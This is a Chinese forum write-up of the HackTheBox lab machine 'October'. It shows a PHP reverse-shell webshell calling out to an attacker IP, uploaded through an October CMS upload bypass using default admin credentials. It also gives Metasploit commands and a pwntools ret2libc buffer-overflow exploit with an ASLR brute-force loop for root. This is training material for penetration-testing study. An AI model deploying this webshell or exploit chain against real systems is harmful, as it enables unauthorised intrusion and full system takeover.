用户
搜索

[web安全] HackTheBox—October

  • TA的每日心情
    慵懒
    9 小时前
  • 签到天数: 165 天

    连续签到: 3 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    121

    主题

    309

    帖子

    2081

    魔法币
    收听
    0
    粉丝
    23
    注册时间
    2017-7-24

    幽默灌水王突出贡献春秋文阁i春秋签约作者i春秋推荐小组积极活跃奖春秋游侠秦

    发表于 2020-7-11 05:20:53 23156

    0x00 前言

    从六月中旬就被这台机子卡主,导致一直没有仔细的研究一下,最近得空终于理清楚了缘由,故有此篇。

    1.概述

    这道题难度适中,主要是bof这会卡一波。总体来说,和vulhub差不多。

    基本思路就是通用漏洞打进去,然后bof提权。在文章中会简单的总结一下针对做HTB的一些思路,当然如果有后续文章的话,会详细的进行整理。

    0x01 信息收集

    我一般都是喜欢先简单的扫一下,然后再针对扫出来的端口进行详细扫,主要原因是因为HTB网络的问题。

    nmap 10.10.10.16

    这里通过详细扫可以看到80用的是October CMS,在下图中已经标出。

    nmap -A -p22,80 10.10.10.16

    0x02 Web——WebShell

    1.推荐做法

    先访问一下80,HTB一般针对22端口爆破的比较少,这里不优先进行考虑。

    简单的看下有没有直接利用的功能,看过之后发现没有直接利用的地方,有注册和登录的接口。可以先搜一下有没有通用漏洞。

    这里可以看到只有第一个有点看头,其他是xss,对拿到shell没有什么帮助。

    searchsploit october

    先下载一下

    searchsploit -m exploits/php/webapps/41936.txt

    打开看看,第一个漏洞就是我们想要的,文件上传bypass

    通过文件,我们知道这个cms有一个后台管理系统

    http://10.10.10.16/backend/

    Octobercms默认密码是admin/admin,我们尝试一下,一般来说都是存在的,毕竟要给一条活路。下图是利用admin/admin登录成功的后台界面。

    这里可以看到在media模块下有一个upload的功能点,应该就是漏洞文档中说的上传地方了。

    这里经过测试发现需要先删除原来的dr.php5,然后再将自己的php改成dr.php5才行,我把上传的马贴上来,当然你愿意用冰蝎什么的,或者system也行,我这是为了方便可以直接弹nc,毕竟oscp要求需要可交互式的shell。

    <?php
        $sock=fsockopen("10.10.14.4",12345);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
    ?>

    成功上传后的地址为:

    http://10.10.10.16/storage/app/media/dr.php5

    下图是我新上传的webshell

    本地nc 监听,然后直接访问即可,拿到了webshell

    拿到shell的第一步就是先获取一下pty,如果没有获取的话,一些命令会执行不了,而且出了问题连为啥都不知道。

    python -c 'import pty; pty.spawn("/bin/bash")'

    2.msf一键梭

    这里有一个取巧的办法,就是在知道这是一个OctoberCms之后直接搜索msf,这里不是很推荐,但是还是要知道,不推荐的原因是第一个是因为oscp限制msf一键,第二个原因是msf一键没啥感觉。

    先开msf,第一次贴这个,第二次就不会贴了。

    msfconsole

    搜一下October相关脚本

    search October

    根据options的提示,配置好打过去就行。

    use exploit/multi/http/october_upload_bypass_exec
    set RHOSTS 10.10.10.16
    set LHOST 10.10.14.4
    run

    0x03 WebShell——RootShell

    这里就涉及到提权了,linux下也有一些辅助提权的脚本,我这里一般会使用LinEnum,但是一般情况,用手工的方式足够了。

    当目标内核版本为最近版本的时候,我一般都会选择看一下suid,suid查出来的就是有root权限执行的命令,或者程序。

    find / -perm -u=s -type f -exec ls -l {} \; 2>/dev/null

    这里可以看到有一个可疑的/usr/local/bin/ovrflw这样的文件。

    这里我们需要将文件dump下来,选择有两个,第一个是可以利用nc互传,第二个就是如果开了80,我就直接cp到web目录里下载,我这里是直接cp到目录里下载的。

    cp /usr/local/bin/ovrflw /var/www/html/cms/storage/app/media

    拿到本地进行分析一下,file 看一下,是32位系统

    file ovrflw 

    再看一下文件的保护,可以看到开了RELRO和NX保护。

    RELRO:
    设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,简单的说就是重定向表格的地址会变。

    这里可以简单的看一下,如下图所示:

    NX:
    开了NX的话,就是说程序不会去执行shellcode,如果跳转到shellcode,CPU就会抛出异常。

    那么就说,我们第一是地址不可控,第二就是无法写入shellcode。

    逆向分析一下,ida拖进去,如下图所示:

    F5之后会清楚一点,可以看到argv[1]不限长,然后dest长度固定,strcpy必然会造成bof,也就是缓存区溢出。

    这里由于NX的开启,所以我们没法构造shellcode,那么我们现在绕过的方法,要嘛就是利用libc链接库来调用的方法,先看看能不能找到system函数。

    函数表里没有,如下图所示,其他地方也没有看到,十有八九是没有了,那就只能找libc链接库来调用了。

    先算下需要覆盖的偏移,dest自身的ebp-64h需要覆盖,那么换算成10进制就是100,strcpy有两个参数与,就是100+4+4=108,然后还有一个返回地址就是108+4=112。紧接着就是esp的位置了,这里就需要我们进行构造了。

    当然我们也可以使用gdb进行一个验证。

    先生成112位字符以及4位覆盖esp的字符

    python -c "print('a'*112+'b'*4)"

    然后gdb下断,运行到strcpy位置就可以看到效果了。

    接下来我们在本地kali机上接着找libc链接库,首先需要确定一下基址,这里拿到一个0xf7da5000

    然后根据lib找system的偏移,最后拿到0x000426e0

    readelf -s /lib/i386-linux-gnu/libc.so.6 |grep system

    然后还需要找到bin/sh的地址,0x17ff68

    strings -atx /lib/i386-linux-gnu/libc.so.6 |grep /bin

    最后我们组合一下就是

    112*'a'+(0xf7da5000+0x000426e0)+'a'*4+(0xf7da5000+0x17ff68)

    中间的'a'*4是返回地址,愿意找exit就找,不愿意就算了,随便写,不影响。

    这里还有一个问题就是随机地址的问题,这里的解决方法就是使用循环遍历,地址总会随机到这个,因为变的位置只有三位数,所以爆破一下不是问题。

    最后使用pwntool生成最终的payload,因为大小端的问题,需要进行颠倒,使用pwntool会很方便。

    下面这个是我写的脚本

    from pwn import *
    offect=0xf7da5000
    system=p32(offect+0x000426e0)
    bash=p32(offect+0x17ff68)
    payload='a'*112+system+"A"*4+bash
    print(payload)

    直接导出成exp进行使用,这里主要考虑到目标机可能没有pwntool,所以导成exp哪都可以用

    while true;do ./ovrflw $(cat exp);done

    然后我们再根据以上的原来,在目标机器上进行执行就可以拿到rootshell了。

    0x04  总结

    技术水平有限,如有描述不当的地方,还请谅解~
    最后感谢老婆的陪伴~

    本帖被以下淘专辑推荐:

    论如何学习,我们来聊一聊经验呀784278256
    太强了,师傅
    使用道具 举报 回复
    tql
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册